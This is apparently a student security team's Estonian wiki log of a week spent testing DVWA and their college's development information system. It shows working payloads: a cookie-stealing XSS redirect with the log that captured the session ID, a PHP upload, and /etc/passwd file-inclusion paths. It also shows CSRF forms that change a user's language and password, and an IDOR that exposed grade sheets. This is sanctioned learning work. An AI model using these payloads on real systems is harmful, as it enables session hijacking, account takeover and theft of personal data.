Urmo: Intensiivõppe nädalaga sai õpitud nii mõndagi huvitavat veebiturve ja selle testimise kohta. Kuna aega oli vähe, siis sai hulgaliselt kogemust ja oskust reaalselt planeerida mahukat tööd täiesti nullist kuni reaalse rakendatava tulemuseni ning pani proovile stressitaluvuse tõestamaks pinge all jätkusuutlikku töötamist. Intensiivõppe nädalal võiksid osaleda kõik, kellel väheke tahtmist midagi uurida ja korda saata ning saada reaalset töökogemust ennem töömaailma sukeldumist.&lt;br /&gt;
&lt;br /&gt;
== Tegijad ==&lt;br /&gt;
:Alo Konno A21&lt;br /&gt;
:Urmo Lihten A21&lt;br /&gt;
:Taavi Podžuks A22&lt;br /&gt;
:Matis Alliksoo A22&lt;br /&gt;
:Sander Saarm A22&lt;br /&gt;
&lt;br /&gt;
== Juhendajad ==&lt;br /&gt;
Täname oma juhendajaid:&lt;br /&gt;
:Mart Mangus&lt;br /&gt;
:Margus Ernits&lt;br /&gt;
:Valter Kungla&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47071</id>
		<title>Security team</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47071"/>
		<updated>2012-03-30T21:04:00Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* Tegijad */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== 1. päev - Materjalidega tutvumine ==&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&lt;br /&gt;
&lt;br /&gt;
    A1: Injection - Urmo&lt;br /&gt;
    A2: Cross-Site Scripting (XSS) - Alo&lt;br /&gt;
    A3: Broken Authentication and Session Management - Sander&lt;br /&gt;
    A4: Insecure Direct Object References - Alo&lt;br /&gt;
    A5: Cross-Site Request Forgery (CSRF) - Taavi&lt;br /&gt;
    A6: Security Misconfiguration - Matis&lt;br /&gt;
    A7: Insecure Cryptographic Storage - Matis&lt;br /&gt;
    A8: Failure to Restrict URL Access - Urmo&lt;br /&gt;
    A9: Insufficient Transport Layer Protection - Taavi&lt;br /&gt;
    A10: Unvalidated Redirects and Forwards - Sander&lt;br /&gt;
&lt;br /&gt;
Sanderi konspekt: [[Media:Ois_materjal.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A9.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A5.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Insecure Cryptographic Storage.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Security Misconfiguration.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==&lt;br /&gt;
===Security Team tegevusplaan===&lt;br /&gt;
1.	Päev&lt;br /&gt;
 1.1	Tutvuda OWASP’iga. &lt;br /&gt;
 1.2	Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.&lt;br /&gt;
 1.3	Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.&lt;br /&gt;
2.	Päev&lt;br /&gt;
 2.1	Esitada tiimi tegevusplaan.&lt;br /&gt;
 2.2	Tutvuda turvariskidega natuke põhjalikumalt.&lt;br /&gt;
 2.3	Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.&lt;br /&gt;
 2.4	Täiendada esimese päeva ettekannet.&lt;br /&gt;
3.	Päev&lt;br /&gt;
 3.1	Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.&lt;br /&gt;
 3.2	Saadud tulemuste dokumenteerimine.&lt;br /&gt;
4.	Päev&lt;br /&gt;
 4.1	Saadud tulemuste esitlemine ettekandega&lt;br /&gt;
5.	Päev&lt;br /&gt;
 5.1	Tulemuste parandamine wiki’s.&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
==== Acunetix Web Vulnerability Scanner v. 8 automaatskännimise tööriistaga tutvumine ====&lt;br /&gt;
 http://www.acunetix.com/support/vulnerability-checks.htm&lt;br /&gt;
 http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting&lt;br /&gt;
 http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting&lt;br /&gt;
 http://www.youtube.com/watch?v=SG1cvGQ971g&lt;br /&gt;
 http://www.isecom.org/research.html&lt;br /&gt;
 http://evuln.com/tools/&lt;br /&gt;
 http://sectools.org/tag/web-scanners/&lt;br /&gt;
 http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/&lt;br /&gt;
 http://www.acunetix.com/vulnerability-scanner/getting-started.htm&lt;br /&gt;
&lt;br /&gt;
Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:&lt;br /&gt;
Acunetix Web Vulnerability Scanner v. 8&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/&lt;br /&gt;
&lt;br /&gt;
Pärast programmi installimist tuli seadistada skännimine, valisime keskmise põhjalikkusega skänni.&lt;br /&gt;
&lt;br /&gt;
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.&lt;br /&gt;
&lt;br /&gt;
Antud programm võimaldab skännida:&lt;br /&gt;
 Cross-Site Scripting (XSS)&lt;br /&gt;
 SQL Injection (blind test)&lt;br /&gt;
 File inclusion&lt;br /&gt;
 Code Execution&lt;br /&gt;
 LDAP Injection&lt;br /&gt;
 Cross Frame Scripting&lt;br /&gt;
 SQL Injection (error msg. test)&lt;br /&gt;
 CRLF Injection&lt;br /&gt;
 Directory Travelsal&lt;br /&gt;
 XPath Injection&lt;br /&gt;
 URL Redirection&lt;br /&gt;
 Application Error Message&lt;br /&gt;
&lt;br /&gt;
Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
&lt;br /&gt;
Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.&lt;br /&gt;
&lt;br /&gt;
Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application&#039;i.&lt;br /&gt;
&lt;br /&gt;
==== Brute Force (DVWA) ====&lt;br /&gt;
Käsitsi välja uuritud login andmed:&lt;br /&gt;
kasutajanimi: admin&lt;br /&gt;
parool: password&lt;br /&gt;
&lt;br /&gt;
===== Fireforce plugin Firefoxis =====&lt;br /&gt;
Tekitatud sai ka password list faili pass.txt.&lt;br /&gt;
&lt;br /&gt;
Kasutusel oli Firefox brauser, kuhu installisime plugin&#039;a Fireforce. &lt;br /&gt;
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .&lt;br /&gt;
&lt;br /&gt;
Panime kasutajanimeks &amp;quot;admin&amp;quot; ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.&lt;br /&gt;
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud. &lt;br /&gt;
Selleks sai sõna &amp;quot;incorrect&amp;quot;.&lt;br /&gt;
Määrata ära tuli ka, et mitu päringut sekundis tehakse. &lt;br /&gt;
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada. &lt;br /&gt;
Päringute tegemise kiirus vähem kui 1 päring/sekundis.&lt;br /&gt;
&lt;br /&gt;
Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.&lt;br /&gt;
Kasutasime ka videos näidatud &amp;quot;@ DICTIONARY&amp;quot; teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.&lt;br /&gt;
&lt;br /&gt;
Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.&lt;br /&gt;
&lt;br /&gt;
===== Burpsuite v1.4 =====&lt;br /&gt;
Burpsuite v1.4 on Samurai WTF&#039;il olemas juba sees ja saab kohe käima panna.&lt;br /&gt;
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI&#039;st]]&lt;br /&gt;
&lt;br /&gt;
Programm on juba loomult keerulisem. &lt;br /&gt;
Burpsuite&#039;iga tuleb panna käima proxy server localhost&#039;is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.&lt;br /&gt;
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. &lt;br /&gt;
Läbi proxy serveri tuleb BurpSuite&#039;ile kohale vastava veebilehe Header sisselogimise kohta.&lt;br /&gt;
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.&lt;br /&gt;
Payload&#039;i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.&lt;br /&gt;
Ründe stiiliks määrata Pitchfork.&lt;br /&gt;
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.&lt;br /&gt;
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.&lt;br /&gt;
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -&amp;gt; Start Attack, mis siis alustas rünnet. &lt;br /&gt;
Kahjuks ka see rünne ei toiminud teadmata põhjusel. &lt;br /&gt;
Proovitud sai ka lühemate nimekirjadega ja edutult. &lt;br /&gt;
&lt;br /&gt;
Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt. &lt;br /&gt;
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.&lt;br /&gt;
&lt;br /&gt;
==== CSRF - Cross-site request forgery ====&lt;br /&gt;
Katsetamine toimub koos Taaviga.&lt;br /&gt;
&lt;br /&gt;
Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.&lt;br /&gt;
&lt;br /&gt;
Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.&lt;br /&gt;
&lt;br /&gt;
Lõime uue faili - crosssite.txt&lt;br /&gt;
&lt;br /&gt;
DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.&lt;br /&gt;
Võtsime lehe Source Code lahti&lt;br /&gt;
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.&lt;br /&gt;
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.&lt;br /&gt;
Current Password lahtri jätsime samaks.&lt;br /&gt;
Ülejäänud kahe uue passwordi fieldi type&#039;iks määrasime &amp;quot;Hidden&amp;quot; ja value&#039;deks &amp;quot;admin&amp;quot;.&lt;br /&gt;
Salvestasime faili ja käivitasime selle.&lt;br /&gt;
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.&lt;br /&gt;
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna &amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
&lt;br /&gt;
Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
==== Reflected Cross Site Scripting (XSS)  ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Lehel on selline Form:&amp;lt;/li&amp;gt;&lt;br /&gt;
[[Image:Xsstesting.jpg|Location=&amp;quot;left&amp;quot;|Caption|]]&lt;br /&gt;
&amp;lt;br&amp;gt;Form väljastab : Hello „sisestatud nimi“&lt;br /&gt;
&amp;lt;li&amp;gt;Easy puhul:&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Saab sisestada textboxi skripti:&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    alert(document.cookie.match(/PHPSESSID=[^;\]+/));&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: &amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    this.document.location.href  = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
    &amp;lt;li&amp;gt;Saab kohe enda veebiserveri logidest näha  Session ID’d. &lt;br /&gt;
&amp;lt;br&amp;gt;Näide logist:&amp;lt;/li&amp;gt;&lt;br /&gt;
    /var/log/apache2/access.log&lt;br /&gt;
    127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] &amp;quot;GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1&amp;quot; 404 404 &amp;quot;-&amp;quot;                  &amp;lt;br&amp;gt;  &amp;quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11&amp;quot;&lt;br /&gt;
&amp;lt;li&amp;gt;Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]&lt;br /&gt;
&lt;br /&gt;
SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).&lt;br /&gt;
==== Faili üleslaadimine: madal tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Low -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.php faili saab kirjutada php koodi:&lt;br /&gt;
    &amp;lt;?php var_dump($_REQUEST, $_SERVER); ?&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:&amp;lt;/li&amp;gt;&lt;br /&gt;
  esimeses massiivis &amp;quot;PHPSESSID&amp;quot; (&amp;quot;2b1ae19446cfde009664f18df51b6ec1&amp;quot;) ja turvatase &amp;quot;security&amp;quot; (&amp;quot;low&amp;quot;);&lt;br /&gt;
  teises &amp;quot;HTTP_COOKIE&amp;quot;, milles on eelnevadki andmed; asukoht &amp;quot;PATH&amp;quot;, &amp;quot;SERVER_SOFTWARE&amp;quot;, &amp;quot;SERVER_NAME&amp;quot;,&lt;br /&gt;
    &amp;quot;SERVER_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;SERVER_PORT&amp;quot; (&amp;quot;80&amp;quot;), &amp;quot;REMOTE_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;REMOTE_PORT&amp;quot; (&amp;quot;53425&amp;quot;) jpm.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: keskmine tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Medium -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida ei saa näiteks järgnevates formaatides faile:&amp;lt;/li&amp;gt;&lt;br /&gt;
  .htaccess&lt;br /&gt;
  .php	.html	.pdf&lt;br /&gt;
  .gif	.png	.bmp&lt;br /&gt;
  .svg	.swf&lt;br /&gt;
  .tif	.tiff	.exif&lt;br /&gt;
  .raw	.cgm&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks tuleb kasutada &amp;quot;?page=&amp;quot; ja faili asukoht:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg&lt;br /&gt;
Kuvatakse php skripti tulemus.&lt;br /&gt;
  Kommentaar: &amp;quot;?page=&amp;quot; kasutamine võetud menüüvalikust: &amp;lt;b&amp;gt;File Inclusion&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;?page=&amp;quot; abil saab vaadata kasutajate nimesid:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd&lt;br /&gt;
&amp;lt;li&amp;gt;Paroole vaadata ei saa, selleks õigused puuduvad:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: kõrge tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: High -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks ei piisa ka &amp;quot;?page=&amp;quot; kasutamisest. Igal juhul on vastus selline:&amp;lt;/li&amp;gt;&lt;br /&gt;
  ERROR: File not found!&lt;br /&gt;
&amp;lt;li&amp;gt;Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://www.motobit.com/util/base64-decoder-encoder.asp&lt;br /&gt;
&amp;lt;li&amp;gt;Moodustades loodud faili asukohast kood ja kasutades&amp;lt;/li&amp;gt;&lt;br /&gt;
  data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==&lt;br /&gt;
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 3. päev - Dev-ÕIS&#039;i turvatestimine==&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]&lt;br /&gt;
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.&amp;lt;br&amp;gt;&lt;br /&gt;
Faile saab alla laadida enda profiili all õppesooritustes.&amp;lt;br&amp;gt;&lt;br /&gt;
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.&amp;lt;br&amp;gt;&lt;br /&gt;
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
====Subgraph Vega ====&lt;br /&gt;
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.&lt;br /&gt;
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.&lt;br /&gt;
Programm on Java põhine graafilise liidesega ja töötab Linux&#039;i, OS X ja Windowsi peal.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]&lt;br /&gt;
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.&lt;br /&gt;
&lt;br /&gt;
Alustasime uut skänni (Start New Scan).&lt;br /&gt;
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.&lt;br /&gt;
&lt;br /&gt;
Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised. &lt;br /&gt;
&lt;br /&gt;
Me lisasime ainult küpsise (cookie) sisu: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
ning Finish.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]&lt;br /&gt;
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).&lt;br /&gt;
&lt;br /&gt;
Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000. &lt;br /&gt;
&lt;br /&gt;
Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script&#039;ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body  nõrkust.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID&#039;sid ja parameetreid ära oma pealkirjades.&lt;br /&gt;
Õnneks parameetritega väljad olid veebilehel korralikult ära escape&#039;itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.&lt;br /&gt;
&lt;br /&gt;
ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.&lt;br /&gt;
&lt;br /&gt;
==== Wapiti ====&lt;br /&gt;
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. &lt;br /&gt;
(Koduleht: http://wapiti.sourceforge.net/)&lt;br /&gt;
&lt;br /&gt;
Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS&#039;iga midagi teha.&lt;br /&gt;
&lt;br /&gt;
==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====&lt;br /&gt;
=====1. katse - ÕISi keskkkonna keelevahetus =====&lt;br /&gt;
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]&lt;br /&gt;
&lt;br /&gt;
Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.&lt;br /&gt;
&lt;br /&gt;
Võtsime dev-ÕIS&#039;i Source Code&#039;ist välja vastava formi osa ja panime eraldi html faili.&lt;br /&gt;
Koristasime mittevajaliku disaini koodi juurest ära.&lt;br /&gt;
Muutsime form&#039;i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.&lt;br /&gt;
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks &amp;quot;en&amp;quot; ehk inglise keelne keskkond tekiks.&lt;br /&gt;
Panime koodi enose veebiserverisse üles nimega ois.html.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form id=&amp;quot;settingsForm&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;https://itcollege.dev.ois.ee/setting/edit?user_id=2198&amp;quot; &lt;br /&gt;
enctype=&amp;quot;application/x-www-form-urlencoded&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; AUTOCOMPLETE=&amp;quot;off&amp;quot; name=&amp;quot;default_language&amp;quot;value=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;br&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Salvesta seaded&amp;quot; name=&amp;quot;Savesettings&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.&lt;br /&gt;
&lt;br /&gt;
Katsetas koodi enda konto peal Taavi.&lt;br /&gt;
&lt;br /&gt;
=====2. katse - ÕIS&#039;i kasutaja parooli muutmine =====&lt;br /&gt;
&lt;br /&gt;
[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]&lt;br /&gt;
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.&lt;br /&gt;
&lt;br /&gt;
Selle jaoks uurisime välja, kus asub dev-ÕIS&#039;i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.&lt;br /&gt;
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.&lt;br /&gt;
&lt;br /&gt;
Muutsime password ja password_check lahtrite väärtused järgnevaks: &amp;quot;test123&amp;quot; ehk kasutaja uus parool peale rünnakut.&lt;br /&gt;
&lt;br /&gt;
Lahtrites muutsime user_id&#039;d sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.&lt;br /&gt;
&lt;br /&gt;
Kõik vormi lahtrite tüübid määrasime peidetud ehk &amp;quot;hidden&amp;quot;, et poleks midagi näidata. &lt;br /&gt;
&lt;br /&gt;
Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist. &lt;br /&gt;
